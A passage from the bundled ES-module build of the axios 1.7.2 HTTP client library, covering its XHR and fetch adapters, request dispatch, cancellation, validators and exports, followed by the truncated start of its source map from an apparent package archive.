headers.set(xsrfHeaderName, xsrfValue); } } } return newConfig; }; const isXHRAdapterSupported = typeof XMLHttpRequest !== 'undefined'; const xhrAdapter = isXHRAdapterSupported && function (config) { return new Promise(function dispatchXhrRequest(resolve, reject) { const _config = resolveConfig(config); let requestData = _config.data; const requestHeaders = AxiosHeaders$2.from(_config.headers).normalize(); let {responseType} = _config; let onCanceled; function done() { if (_config.cancelToken) { _config.cancelToken.unsubscribe(onCanceled); } if (_config.signal) { _config.signal.removeEventListener('abort', onCanceled); } } let request = new XMLHttpRequest(); request.open(_config.method.toUpperCase(), _config.url, true); // Set the request timeout in MS request.timeout = _config.timeout; function onloadend() { if (!request) { return; } // Prepare the response const responseHeaders = AxiosHeaders$2.from( 'getAllResponseHeaders' in request && request.getAllResponseHeaders() ); const responseData = !responseType || responseType === 'text' || responseType === 'json' ? request.responseText : request.response; const response = { data: responseData, status: request.status, statusText: request.statusText, headers: responseHeaders, config, request }; settle(function _resolve(value) { resolve(value); done(); }, function _reject(err) { reject(err); done(); }, response); // Clean up request request = null; } if ('onloadend' in request) { // Use onloadend if available request.onloadend = onloadend; } else { // Listen for ready state to emulate onloadend request.onreadystatechange = function handleLoad() { if (!request || request.readyState !== 4) { return; } // The request errored out and we didn't get a response, this will be // handled by onerror instead // With one exception: request that using file: protocol, most browsers // will return status as 0 even though it's a successful request if (request.status === 0 && !(request.responseURL && request.responseURL.indexOf('file:') === 0)) { return; } // readystate handler is calling before onerror or ontimeout handlers, // so we should call onloadend on the next 'tick' setTimeout(onloadend); }; } // Handle browser request cancellation (as opposed to a manual cancellation) request.onabort = function handleAbort() { if (!request) { return; } reject(new AxiosError$1('Request aborted', AxiosError$1.ECONNABORTED, _config, request)); // Clean up request request = null; }; // Handle low level network errors request.onerror = function handleError() { // Real errors are hidden from us by the browser // onerror should only fire if it's a network error reject(new AxiosError$1('Network Error', AxiosError$1.ERR_NETWORK, _config, request)); // Clean up request request = null; }; // Handle timeout request.ontimeout = function handleTimeout() { let timeoutErrorMessage = _config.timeout ? 'timeout of ' + _config.timeout + 'ms exceeded' : 'timeout exceeded'; const transitional = _config.transitional || transitionalDefaults; if (_config.timeoutErrorMessage) { timeoutErrorMessage = _config.timeoutErrorMessage; } reject(new AxiosError$1( timeoutErrorMessage, transitional.clarifyTimeoutError ? AxiosError$1.ETIMEDOUT : AxiosError$1.ECONNABORTED, _config, request)); // Clean up request request = null; }; // Remove Content-Type if data is undefined requestData === undefined && requestHeaders.setContentType(null); // Add headers to the request if ('setRequestHeader' in request) { utils$1.forEach(requestHeaders.toJSON(), function setRequestHeader(val, key) { request.setRequestHeader(key, val); }); } // Add withCredentials to request if needed if (!utils$1.isUndefined(_config.withCredentials)) { request.withCredentials = !!_config.withCredentials; } // Add responseType to request if needed if (responseType && responseType !== 'json') { request.responseType = _config.responseType; } // Handle progress if needed if (typeof _config.onDownloadProgress === 'function') { request.addEventListener('progress', progressEventReducer(_config.onDownloadProgress, true)); } // Not all browsers support upload events if (typeof _config.onUploadProgress === 'function' && request.upload) { request.upload.addEventListener('progress', progressEventReducer(_config.onUploadProgress)); } if (_config.cancelToken || _config.signal) { // Handle cancellation // eslint-disable-next-line func-names onCanceled = cancel => { if (!request) { return; } reject(!cancel || cancel.type ? new CanceledError$1(null, config, request) : cancel); request.abort(); request = null; }; _config.cancelToken && _config.cancelToken.subscribe(onCanceled); if (_config.signal) { _config.signal.aborted ? onCanceled() : _config.signal.addEventListener('abort', onCanceled); } } const protocol = parseProtocol(_config.url); if (protocol && platform.protocols.indexOf(protocol) === -1) { reject(new AxiosError$1('Unsupported protocol ' + protocol + ':', AxiosError$1.ERR_BAD_REQUEST, config)); return; } // Send the request request.send(requestData || null); }); }; const composeSignals = (signals, timeout) => { let controller = new AbortController(); let aborted; const onabort = function (cancel) { if (!aborted) { aborted = true; unsubscribe(); const err = cancel instanceof Error ? cancel : this.reason; controller.abort(err instanceof AxiosError$1 ? err : new CanceledError$1(err instanceof Error ? err.message : err)); } }; let timer = timeout && setTimeout(() => { onabort(new AxiosError$1(`timeout ${timeout} of ms exceeded`, AxiosError$1.ETIMEDOUT)); }, timeout); const unsubscribe = () => { if (signals) { timer && clearTimeout(timer); timer = null; signals.forEach(signal => { signal && (signal.removeEventListener ? signal.removeEventListener('abort', onabort) : signal.unsubscribe(onabort)); }); signals = null; } }; signals.forEach((signal) => signal && signal.addEventListener && signal.addEventListener('abort', onabort)); const {signal} = controller; signal.unsubscribe = unsubscribe; return [signal, () => { timer && clearTimeout(timer); timer = null; }]; }; const composeSignals$1 = composeSignals; const streamChunk = function* (chunk, chunkSize) { let len = chunk.byteLength; if (!chunkSize || len < chunkSize) { yield chunk; return; } let pos = 0; let end; while (pos < len) { end = pos + chunkSize; yield chunk.slice(pos, end); pos = end; } }; const readBytes = async function* (iterable, chunkSize, encode) { for await (const chunk of iterable) { yield* streamChunk(ArrayBuffer.isView(chunk) ? chunk : (await encode(String(chunk))), chunkSize); } }; const trackStream = (stream, chunkSize, onProgress, onFinish, encode) => { const iterator = readBytes(stream, chunkSize, encode); let bytes = 0; return new ReadableStream({ type: 'bytes', async pull(controller) { const {done, value} = await iterator.next(); if (done) { controller.close(); onFinish(); return; } let len = value.byteLength; onProgress && onProgress(bytes += len); controller.enqueue(new Uint8Array(value)); }, cancel(reason) { onFinish(reason); return iterator.return(); } }, { highWaterMark: 2 }) }; const fetchProgressDecorator = (total, fn) => { const lengthComputable = total != null; return (loaded) => setTimeout(() => fn({ lengthComputable, total, loaded })); }; const isFetchSupported = typeof fetch === 'function' && typeof Request === 'function' && typeof Response === 'function'; const isReadableStreamSupported = isFetchSupported && typeof ReadableStream === 'function'; // used only inside the fetch adapter const encodeText = isFetchSupported && (typeof TextEncoder === 'function' ? ((encoder) => (str) => encoder.encode(str))(new TextEncoder()) : async (str) => new Uint8Array(await new Response(str).arrayBuffer()) ); const supportsRequestStream = isReadableStreamSupported && (() => { let duplexAccessed = false; const hasContentType = new Request(platform.origin, { body: new ReadableStream(), method: 'POST', get duplex() { duplexAccessed = true; return 'half'; }, }).headers.has('Content-Type'); return duplexAccessed && !hasContentType; })(); const DEFAULT_CHUNK_SIZE = 64 * 1024; const supportsResponseStream = isReadableStreamSupported && !!(()=> { try { return utils$1.isReadableStream(new Response('').body); } catch(err) { // return undefined } })(); const resolvers = { stream: supportsResponseStream && ((res) => res.body) }; isFetchSupported && (((res) => { ['text', 'arrayBuffer', 'blob', 'formData', 'stream'].forEach(type => { !resolvers[type] && (resolvers[type] = utils$1.isFunction(res[type]) ? (res) => res[type]() : (_, config) => { throw new AxiosError$1(`Response type '${type}' is not supported`, AxiosError$1.ERR_NOT_SUPPORT, config); }); }); })(new Response)); const getBodyLength = async (body) => { if (body == null) { return 0; } if(utils$1.isBlob(body)) { return body.size; } if(utils$1.isSpecCompliantForm(body)) { return (await new Request(body).arrayBuffer()).byteLength; } if(utils$1.isArrayBufferView(body)) { return body.byteLength; } if(utils$1.isURLSearchParams(body)) { body = body + ''; } if(utils$1.isString(body)) { return (await encodeText(body)).byteLength; } }; const resolveBodyLength = async (headers, body) => { const length = utils$1.toFiniteNumber(headers.getContentLength()); return length == null ? getBodyLength(body) : length; }; const fetchAdapter = isFetchSupported && (async (config) => { let { url, method, data, signal, cancelToken, timeout, onDownloadProgress, onUploadProgress, responseType, headers, withCredentials = 'same-origin', fetchOptions } = resolveConfig(config); responseType = responseType ? (responseType + '').toLowerCase() : 'text'; let [composedSignal, stopTimeout] = (signal || cancelToken || timeout) ? composeSignals$1([signal, cancelToken], timeout) : []; let finished, request; const onFinish = () => { !finished && setTimeout(() => { composedSignal && composedSignal.unsubscribe(); }); finished = true; }; let requestContentLength; try { if ( onUploadProgress && supportsRequestStream && method !== 'get' && method !== 'head' && (requestContentLength = await resolveBodyLength(headers, data)) !== 0 ) { let _request = new Request(url, { method: 'POST', body: data, duplex: "half" }); let contentTypeHeader; if (utils$1.isFormData(data) && (contentTypeHeader = _request.headers.get('content-type'))) { headers.setContentType(contentTypeHeader); } if (_request.body) { data = trackStream(_request.body, DEFAULT_CHUNK_SIZE, fetchProgressDecorator( requestContentLength, progressEventReducer(onUploadProgress) ), null, encodeText); } } if (!utils$1.isString(withCredentials)) { withCredentials = withCredentials ? 'cors' : 'omit'; } request = new Request(url, { ...fetchOptions, signal: composedSignal, method: method.toUpperCase(), headers: headers.normalize().toJSON(), body: data, duplex: "half", withCredentials }); let response = await fetch(request); const isStreamResponse = supportsResponseStream && (responseType === 'stream' || responseType === 'response'); if (supportsResponseStream && (onDownloadProgress || isStreamResponse)) { const options = {}; ['status', 'statusText', 'headers'].forEach(prop => { options[prop] = response[prop]; }); const responseContentLength = utils$1.toFiniteNumber(response.headers.get('content-length')); response = new Response( trackStream(response.body, DEFAULT_CHUNK_SIZE, onDownloadProgress && fetchProgressDecorator( responseContentLength, progressEventReducer(onDownloadProgress, true) ), isStreamResponse && onFinish, encodeText), options ); } responseType = responseType || 'text'; let responseData = await resolvers[utils$1.findKey(resolvers, responseType) || 'text'](response, config); !isStreamResponse && onFinish(); stopTimeout && stopTimeout(); return await new Promise((resolve, reject) => { settle(resolve, reject, { data: responseData, headers: AxiosHeaders$2.from(response.headers), status: response.status, statusText: response.statusText, config, request }); }) } catch (err) { onFinish(); if (err && err.name === 'TypeError' && /fetch/i.test(err.message)) { throw Object.assign( new AxiosError$1('Network Error', AxiosError$1.ERR_NETWORK, config, request), { cause: err.cause || err } ) } throw AxiosError$1.from(err, err && err.code, config, request); } }); const knownAdapters = { http: httpAdapter, xhr: xhrAdapter, fetch: fetchAdapter }; utils$1.forEach(knownAdapters, (fn, value) => { if (fn) { try { Object.defineProperty(fn, 'name', {value}); } catch (e) { // eslint-disable-next-line no-empty } Object.defineProperty(fn, 'adapterName', {value}); } }); const renderReason = (reason) => `- ${reason}`; const isResolvedHandle = (adapter) => utils$1.isFunction(adapter) || adapter === null || adapter === false; const adapters = { getAdapter: (adapters) => { adapters = utils$1.isArray(adapters) ? adapters : [adapters]; const {length} = adapters; let nameOrAdapter; let adapter; const rejectedReasons = {}; for (let i = 0; i < length; i++) { nameOrAdapter = adapters[i]; let id; adapter = nameOrAdapter; if (!isResolvedHandle(nameOrAdapter)) { adapter = knownAdapters[(id = String(nameOrAdapter)).toLowerCase()]; if (adapter === undefined) { throw new AxiosError$1(`Unknown adapter '${id}'`); } } if (adapter) { break; } rejectedReasons[id || '#' + i] = adapter; } if (!adapter) { const reasons = Object.entries(rejectedReasons) .map(([id, state]) => `adapter ${id} ` + (state === false ? 'is not supported by the environment' : 'is not available in the build') ); let s = length ? (reasons.length > 1 ? 'since :\n' + reasons.map(renderReason).join('\n') : ' ' + renderReason(reasons[0])) : 'as no adapter specified'; throw new AxiosError$1( `There is no suitable adapter to dispatch the request ` + s, 'ERR_NOT_SUPPORT' ); } return adapter; }, adapters: knownAdapters }; /** * Throws a `CanceledError` if cancellation has been requested. * * @param {Object} config The config that is to be used for the request * * @returns {void} */ function throwIfCancellationRequested(config) { if (config.cancelToken) { config.cancelToken.throwIfRequested(); } if (config.signal && config.signal.aborted) { throw new CanceledError$1(null, config); } } /** * Dispatch a request to the server using the configured adapter. * * @param {object} config The config that is to be used for the request * * @returns {Promise} The Promise to be fulfilled */ function dispatchRequest(config) { throwIfCancellationRequested(config); config.headers = AxiosHeaders$2.from(config.headers); // Transform request data config.data = transformData.call( config, config.transformRequest ); if (['post', 'put', 'patch'].indexOf(config.method) !== -1) { config.headers.setContentType('application/x-www-form-urlencoded', false); } const adapter = adapters.getAdapter(config.adapter || defaults$1.adapter); return adapter(config).then(function onAdapterResolution(response) { throwIfCancellationRequested(config); // Transform response data response.data = transformData.call( config, config.transformResponse, response ); response.headers = AxiosHeaders$2.from(response.headers); return response; }, function onAdapterRejection(reason) { if (!isCancel$1(reason)) { throwIfCancellationRequested(config); // Transform response data if (reason && reason.response) { reason.response.data = transformData.call( config, config.transformResponse, reason.response ); reason.response.headers = AxiosHeaders$2.from(reason.response.headers); } } return Promise.reject(reason); }); } const VERSION$1 = "1.7.2"; const validators$1 = {}; // eslint-disable-next-line func-names ['object', 'boolean', 'number', 'function', 'string', 'symbol'].forEach((type, i) => { validators$1[type] = function validator(thing) { return typeof thing === type || 'a' + (i < 1 ? 'n ' : ' ') + type; }; }); const deprecatedWarnings = {}; /** * Transitional option validator * * @param {function|boolean?} validator - set to false if the transitional option has been removed * @param {string?} version - deprecated version / removed since version * @param {string?} message - some message with additional info * * @returns {function} */ validators$1.transitional = function transitional(validator, version, message) { function formatMessage(opt, desc) { return '[Axios v' + VERSION$1 + '] Transitional option \'' + opt + '\'' + desc + (message ? '. ' + message : ''); } // eslint-disable-next-line func-names return (value, opt, opts) => { if (validator === false) { throw new AxiosError$1( formatMessage(opt, ' has been removed' + (version ? ' in ' + version : '')), AxiosError$1.ERR_DEPRECATED ); } if (version && !deprecatedWarnings[opt]) { deprecatedWarnings[opt] = true; // eslint-disable-next-line no-console console.warn( formatMessage( opt, ' has been deprecated since v' + version + ' and will be removed in the near future' ) ); } return validator ? validator(value, opt, opts) : true; }; }; /** * Assert object's properties type * * @param {object} options * @param {object} schema * @param {boolean?} allowUnknown * * @returns {object} */ function assertOptions(options, schema, allowUnknown) { if (typeof options !== 'object') { throw new AxiosError$1('options must be an object', AxiosError$1.ERR_BAD_OPTION_VALUE); } const keys = Object.keys(options); let i = keys.length; while (i-- > 0) { const opt = keys[i]; const validator = schema[opt]; if (validator) { const value = options[opt]; const result = value === undefined || validator(value, opt, options); if (result !== true) { throw new AxiosError$1('option ' + opt + ' must be ' + result, AxiosError$1.ERR_BAD_OPTION_VALUE); } continue; } if (allowUnknown !== true) { throw new AxiosError$1('Unknown option ' + opt, AxiosError$1.ERR_BAD_OPTION); } } } const validator = { assertOptions, validators: validators$1 }; const validators = validator.validators; /** * Create a new instance of Axios * * @param {Object} instanceConfig The default config for the instance * * @return {Axios} A new instance of Axios */ class Axios$1 { constructor(instanceConfig) { this.defaults = instanceConfig; this.interceptors = { request: new InterceptorManager$1(), response: new InterceptorManager$1() }; } /** * Dispatch a request * * @param {String|Object} configOrUrl The config specific for this request (merged with this.defaults) * @param {?Object} config * * @returns {Promise} The Promise to be fulfilled */ async request(configOrUrl, config) { try { return await this._request(configOrUrl, config); } catch (err) { if (err instanceof Error) { let dummy; Error.captureStackTrace ? Error.captureStackTrace(dummy = {}) : (dummy = new Error()); // slice off the Error: ... line const stack = dummy.stack ? dummy.stack.replace(/^.+\n/, '') : ''; try { if (!err.stack) { err.stack = stack; // match without the 2 top stack lines } else if (stack && !String(err.stack).endsWith(stack.replace(/^.+\n.+\n/, ''))) { err.stack += '\n' + stack; } } catch (e) { // ignore the case where "stack" is an un-writable property } } throw err; } } _request(configOrUrl, config) { /*eslint no-param-reassign:0*/ // Allow for axios('example/url'[, config]) a la fetch API if (typeof configOrUrl === 'string') { config = config || {}; config.url = configOrUrl; } else { config = configOrUrl || {}; } config = mergeConfig$1(this.defaults, config); const {transitional, paramsSerializer, headers} = config; if (transitional !== undefined) { validator.assertOptions(transitional, { silentJSONParsing: validators.transitional(validators.boolean), forcedJSONParsing: validators.transitional(validators.boolean), clarifyTimeoutError: validators.transitional(validators.boolean) }, false); } if (paramsSerializer != null) { if (utils$1.isFunction(paramsSerializer)) { config.paramsSerializer = { serialize: paramsSerializer }; } else { validator.assertOptions(paramsSerializer, { encode: validators.function, serialize: validators.function }, true); } } // Set config.method config.method = (config.method || this.defaults.method || 'get').toLowerCase(); // Flatten headers let contextHeaders = headers && utils$1.merge( headers.common, headers[config.method] ); headers && utils$1.forEach( ['delete', 'get', 'head', 'post', 'put', 'patch', 'common'], (method) => { delete headers[method]; } ); config.headers = AxiosHeaders$2.concat(contextHeaders, headers); // filter out skipped interceptors const requestInterceptorChain = []; let synchronousRequestInterceptors = true; this.interceptors.request.forEach(function unshiftRequestInterceptors(interceptor) { if (typeof interceptor.runWhen === 'function' && interceptor.runWhen(config) === false) { return; } synchronousRequestInterceptors = synchronousRequestInterceptors && interceptor.synchronous; requestInterceptorChain.unshift(interceptor.fulfilled, interceptor.rejected); }); const responseInterceptorChain = []; this.interceptors.response.forEach(function pushResponseInterceptors(interceptor) { responseInterceptorChain.push(interceptor.fulfilled, interceptor.rejected); }); let promise; let i = 0; let len; if (!synchronousRequestInterceptors) { const chain = [dispatchRequest.bind(this), undefined]; chain.unshift.apply(chain, requestInterceptorChain); chain.push.apply(chain, responseInterceptorChain); len = chain.length; promise = Promise.resolve(config); while (i < len) { promise = promise.then(chain[i++], chain[i++]); } return promise; } len = requestInterceptorChain.length; let newConfig = config; i = 0; while (i < len) { const onFulfilled = requestInterceptorChain[i++]; const onRejected = requestInterceptorChain[i++]; try { newConfig = onFulfilled(newConfig); } catch (error) { onRejected.call(this, error); break; } } try { promise = dispatchRequest.call(this, newConfig); } catch (error) { return Promise.reject(error); } i = 0; len = responseInterceptorChain.length; while (i < len) { promise = promise.then(responseInterceptorChain[i++], responseInterceptorChain[i++]); } return promise; } getUri(config) { config = mergeConfig$1(this.defaults, config); const fullPath = buildFullPath(config.baseURL, config.url); return buildURL(fullPath, config.params, config.paramsSerializer); } } // Provide aliases for supported request methods utils$1.forEach(['delete', 'get', 'head', 'options'], function forEachMethodNoData(method) { /*eslint func-names:0*/ Axios$1.prototype[method] = function(url, config) { return this.request(mergeConfig$1(config || {}, { method, url, data: (config || {}).data })); }; }); utils$1.forEach(['post', 'put', 'patch'], function forEachMethodWithData(method) { /*eslint func-names:0*/ function generateHTTPMethod(isForm) { return function httpMethod(url, data, config) { return this.request(mergeConfig$1(config || {}, { method, headers: isForm ? { 'Content-Type': 'multipart/form-data' } : {}, url, data })); }; } Axios$1.prototype[method] = generateHTTPMethod(); Axios$1.prototype[method + 'Form'] = generateHTTPMethod(true); }); const Axios$2 = Axios$1; /** * A `CancelToken` is an object that can be used to request cancellation of an operation. * * @param {Function} executor The executor function. * * @returns {CancelToken} */ class CancelToken$1 { constructor(executor) { if (typeof executor !== 'function') { throw new TypeError('executor must be a function.'); } let resolvePromise; this.promise = new Promise(function promiseExecutor(resolve) { resolvePromise = resolve; }); const token = this; // eslint-disable-next-line func-names this.promise.then(cancel => { if (!token._listeners) return; let i = token._listeners.length; while (i-- > 0) { token._listeners[i](cancel); } token._listeners = null; }); // eslint-disable-next-line func-names this.promise.then = onfulfilled => { let _resolve; // eslint-disable-next-line func-names const promise = new Promise(resolve => { token.subscribe(resolve); _resolve = resolve; }).then(onfulfilled); promise.cancel = function reject() { token.unsubscribe(_resolve); }; return promise; }; executor(function cancel(message, config, request) { if (token.reason) { // Cancellation has already been requested return; } token.reason = new CanceledError$1(message, config, request); resolvePromise(token.reason); }); } /** * Throws a `CanceledError` if cancellation has been requested. */ throwIfRequested() { if (this.reason) { throw this.reason; } } /** * Subscribe to the cancel signal */ subscribe(listener) { if (this.reason) { listener(this.reason); return; } if (this._listeners) { this._listeners.push(listener); } else { this._listeners = [listener]; } } /** * Unsubscribe from the cancel signal */ unsubscribe(listener) { if (!this._listeners) { return; } const index = this._listeners.indexOf(listener); if (index !== -1) { this._listeners.splice(index, 1); } } /** * Returns an object that contains a new `CancelToken` and a function that, when called, * cancels the `CancelToken`. */ static source() { let cancel; const token = new CancelToken$1(function executor(c) { cancel = c; }); return { token, cancel }; } } const CancelToken$2 = CancelToken$1; /** * Syntactic sugar for invoking a function and expanding an array for arguments. * * Common use case would be to use `Function.prototype.apply`. * * ```js * function f(x, y, z) {} * var args = [1, 2, 3]; * f.apply(null, args); * ``` * * With `spread` this example can be re-written. * * ```js * spread(function(x, y, z) {})([1, 2, 3]); * ``` * * @param {Function} callback * * @returns {Function} */ function spread$1(callback) { return function wrap(arr) { return callback.apply(null, arr); }; } /** * Determines whether the payload is an error thrown by Axios * * @param {*} payload The value to test * * @returns {boolean} True if the payload is an error thrown by Axios, otherwise false */ function isAxiosError$1(payload) { return utils$1.isObject(payload) && (payload.isAxiosError === true); } const HttpStatusCode$1 = { Continue: 100, SwitchingProtocols: 101, Processing: 102, EarlyHints: 103, Ok: 200, Created: 201, Accepted: 202, NonAuthoritativeInformation: 203, NoContent: 204, ResetContent: 205, PartialContent: 206, MultiStatus: 207, AlreadyReported: 208, ImUsed: 226, MultipleChoices: 300, MovedPermanently: 301, Found: 302, SeeOther: 303, NotModified: 304, UseProxy: 305, Unused: 306, TemporaryRedirect: 307, PermanentRedirect: 308, BadRequest: 400, Unauthorized: 401, PaymentRequired: 402, Forbidden: 403, NotFound: 404, MethodNotAllowed: 405, NotAcceptable: 406, ProxyAuthenticationRequired: 407, RequestTimeout: 408, Conflict: 409, Gone: 410, LengthRequired: 411, PreconditionFailed: 412, PayloadTooLarge: 413, UriTooLong: 414, UnsupportedMediaType: 415, RangeNotSatisfiable: 416, ExpectationFailed: 417, ImATeapot: 418, MisdirectedRequest: 421, UnprocessableEntity: 422, Locked: 423, FailedDependency: 424, TooEarly: 425, UpgradeRequired: 426, PreconditionRequired: 428, TooManyRequests: 429, RequestHeaderFieldsTooLarge: 431, UnavailableForLegalReasons: 451, InternalServerError: 500, NotImplemented: 501, BadGateway: 502, ServiceUnavailable: 503, GatewayTimeout: 504, HttpVersionNotSupported: 505, VariantAlsoNegotiates: 506, InsufficientStorage: 507, LoopDetected: 508, NotExtended: 510, NetworkAuthenticationRequired: 511, }; Object.entries(HttpStatusCode$1).forEach(([key, value]) => { HttpStatusCode$1[value] = key; }); const HttpStatusCode$2 = HttpStatusCode$1; /** * Create an instance of Axios * * @param {Object} defaultConfig The default config for the instance * * @returns {Axios} A new instance of Axios */ function createInstance(defaultConfig) { const context = new Axios$2(defaultConfig); const instance = bind(Axios$2.prototype.request, context); // Copy axios.prototype to instance utils$1.extend(instance, Axios$2.prototype, context, {allOwnKeys: true}); // Copy context to instance utils$1.extend(instance, context, null, {allOwnKeys: true}); // Factory for creating new instances instance.create = function create(instanceConfig) { return createInstance(mergeConfig$1(defaultConfig, instanceConfig)); }; return instance; } // Create the default instance to be exported const axios = createInstance(defaults$1); // Expose Axios class to allow class inheritance axios.Axios = Axios$2; // Expose Cancel & CancelToken axios.CanceledError = CanceledError$1; axios.CancelToken = CancelToken$2; axios.isCancel = isCancel$1; axios.VERSION = VERSION$1; axios.toFormData = toFormData$1; // Expose AxiosError class axios.AxiosError = AxiosError$1; // alias for CanceledError for backward compatibility axios.Cancel = axios.CanceledError; // Expose all/spread axios.all = function all(promises) { return Promise.all(promises); }; axios.spread = spread$1; // Expose isAxiosError axios.isAxiosError = isAxiosError$1; // Expose mergeConfig axios.mergeConfig = mergeConfig$1; axios.AxiosHeaders = AxiosHeaders$2; axios.formToJSON = thing => formDataToJSON(utils$1.isHTMLForm(thing) ? new FormData(thing) : thing); axios.getAdapter = adapters.getAdapter; axios.HttpStatusCode = HttpStatusCode$2; axios.default = axios; // this module should only have a default export const axios$1 = axios; // This module is intended to unwrap Axios default export as named. // Keep top-level export same with static properties // so that it can keep same with es module or cjs const { Axios, AxiosError, CanceledError, isCancel, CancelToken, VERSION, all, Cancel, isAxiosError, spread, toFormData, AxiosHeaders, HttpStatusCode, formToJSON, getAdapter, mergeConfig } = axios$1; export { Axios, AxiosError, AxiosHeaders, Cancel, CancelToken, CanceledError, HttpStatusCode, VERSION, all, axios$1 as default, formToJSON, getAdapter, isAxiosError, isCancel, mergeConfig, spread, toFormData }; //# sourceMappingURL=axios.js.map esm/axios.js.map000064400000615004151677271550007613 0ustar00{"version":3,"file":"axios.js","sources":["../../lib/helpers/bind.js","../../lib/utils.js","../../lib/core/AxiosError.js","../../lib/helpers/null.js","../../lib/helpers/toFormData.js","../../lib/helpers/AxiosURLSearchParams.js","../../lib/helpers/buildURL.js","../../lib/core/InterceptorManager.js","../../lib/defaults/transitional.js","../../lib/platform/browser/classes/URLSearchParams.js","../../lib/platform/browser/classes/FormData.js","../../lib/platform/browser/classes/Blob.js","../../lib/platform/browser/index.js","../../lib/platform/common/utils.js","../../lib/platform/index.js","../../lib/helpers/toURLEncodedForm.js","../../lib/helpers/formDataToJSON.js","../../lib/defaults/index.js","../../lib/helpers/parseHeaders.js","../../lib/core/AxiosHeaders.js","../../lib/core/transformData.js","../../lib/cancel/isCancel.js","../../lib/cancel/CanceledError.js","../../lib/core/settle.js","../../lib/helpers/parseProtocol.js","../../lib/helpers/speedometer.js","../../lib/helpers/throttle.js","../../lib/helpers/progressEventReducer.js","../../lib/helpers/isURLSameOrigin.js","../../lib/helpers/cookies.js","../../lib/helpers/isAbsoluteURL.js","../../lib/helpers/combineURLs.js","../../lib/core/buildFullPath.js","../../lib/core/mergeConfig.js","../../lib/helpers/resolveConfig.js","../../lib/adapters/xhr.js","../../lib/helpers/composeSignals.js","../../lib/helpers/trackStream.js","../../lib/adapters/fetch.js","../../lib/adapters/adapters.js","../../lib/core/dispatchRequest.js","../../lib/env/data.js","../../lib/helpers/validator.js","../../lib/core/Axios.js","../../lib/cancel/CancelToken.js","../../lib/helpers/spread.js","../../lib/helpers/isAxiosError.js","../../lib/helpers/HttpStatusCode.js","../../lib/axios.js","../../index.js"],"sourcesContent":["'use strict';\n\nexport default function bind(fn, thisArg) {\n return function wrap() {\n return fn.apply(thisArg, arguments);\n };\n}\n","'use strict';\n\nimport bind from './helpers/bind.js';\n\n// utils is a library of generic helper functions non-specific to axios\n\nconst {toString} = Object.prototype;\nconst {getPrototypeOf} = Object;\n\nconst kindOf = (cache => thing => {\n const str = toString.call(thing);\n return cache[str] || (cache[str] = str.slice(8, -1).toLowerCase());\n})(Object.create(null));\n\nconst kindOfTest = (type) => {\n type = type.toLowerCase();\n return (thing) => kindOf(thing) === type\n}\n\nconst typeOfTest = type => thing => typeof thing === type;\n\n/**\n * Determine if a value is an Array\n *\n * @param {Object} val The value to test\n *\n * @returns {boolean} True if value is an Array, otherwise false\n */\nconst {isArray} = Array;\n\n/**\n * Determine if a value is undefined\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if the value is undefined, otherwise false\n */\nconst isUndefined = typeOfTest('undefined');\n\n/**\n * Determine if a value is a Buffer\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Buffer, otherwise false\n */\nfunction isBuffer(val) {\n return val !== null && !isUndefined(val) && val.constructor !== null && !isUndefined(val.constructor)\n && isFunction(val.constructor.isBuffer) && val.constructor.isBuffer(val);\n}\n\n/**\n * Determine if a value is an ArrayBuffer\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is an ArrayBuffer, otherwise false\n */\nconst isArrayBuffer = kindOfTest('ArrayBuffer');\n\n\n/**\n * Determine if a value is a view on an ArrayBuffer\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a view on an ArrayBuffer, otherwise false\n */\nfunction isArrayBufferView(val) {\n let result;\n if ((typeof ArrayBuffer !== 'undefined') && (ArrayBuffer.isView)) {\n result = ArrayBuffer.isView(val);\n } else {\n result = (val) && (val.buffer) && (isArrayBuffer(val.buffer));\n }\n return result;\n}\n\n/**\n * Determine if a value is a String\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a String, otherwise false\n */\nconst isString = typeOfTest('string');\n\n/**\n * Determine if a value is a Function\n *\n * @param {*} val The value to test\n * @returns {boolean} True if value is a Function, otherwise false\n */\nconst isFunction = typeOfTest('function');\n\n/**\n * Determine if a value is a Number\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Number, otherwise false\n */\nconst isNumber = typeOfTest('number');\n\n/**\n * Determine if a value is an Object\n *\n * @param {*} thing The value to test\n *\n * @returns {boolean} True if value is an Object, otherwise false\n */\nconst isObject = (thing) => thing !== null && typeof thing === 'object';\n\n/**\n * Determine if a value is a Boolean\n *\n * @param {*} thing The value to test\n * @returns {boolean} True if value is a Boolean, otherwise false\n */\nconst isBoolean = thing => thing === true || thing === false;\n\n/**\n * Determine if a value is a plain Object\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a plain Object, otherwise false\n */\nconst isPlainObject = (val) => {\n if (kindOf(val) !== 'object') {\n return false;\n }\n\n const prototype = getPrototypeOf(val);\n return (prototype === null || prototype === Object.prototype || Object.getPrototypeOf(prototype) === null) && !(Symbol.toStringTag in val) && !(Symbol.iterator in val);\n}\n\n/**\n * Determine if a value is a Date\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Date, otherwise false\n */\nconst isDate = kindOfTest('Date');\n\n/**\n * Determine if a value is a File\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a File, otherwise false\n */\nconst isFile = kindOfTest('File');\n\n/**\n * Determine if a value is a Blob\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Blob, otherwise false\n */\nconst isBlob = kindOfTest('Blob');\n\n/**\n * Determine if a value is a FileList\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a File, otherwise false\n */\nconst isFileList = kindOfTest('FileList');\n\n/**\n * Determine if a value is a Stream\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Stream, otherwise false\n */\nconst isStream = (val) => isObject(val) && isFunction(val.pipe);\n\n/**\n * Determine if a value is a FormData\n *\n * @param {*} thing The value to test\n *\n * @returns {boolean} True if value is an FormData, otherwise false\n */\nconst isFormData = (thing) => {\n let kind;\n return thing && (\n (typeof FormData === 'function' && thing instanceof FormData) || (\n isFunction(thing.append) && (\n (kind = kindOf(thing)) === 'formdata' ||\n // detect form-data instance\n (kind === 'object' && isFunction(thing.toString) && thing.toString() === '[object FormData]')\n )\n )\n )\n}\n\n/**\n * Determine if a value is a URLSearchParams object\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a URLSearchParams object, otherwise false\n */\nconst 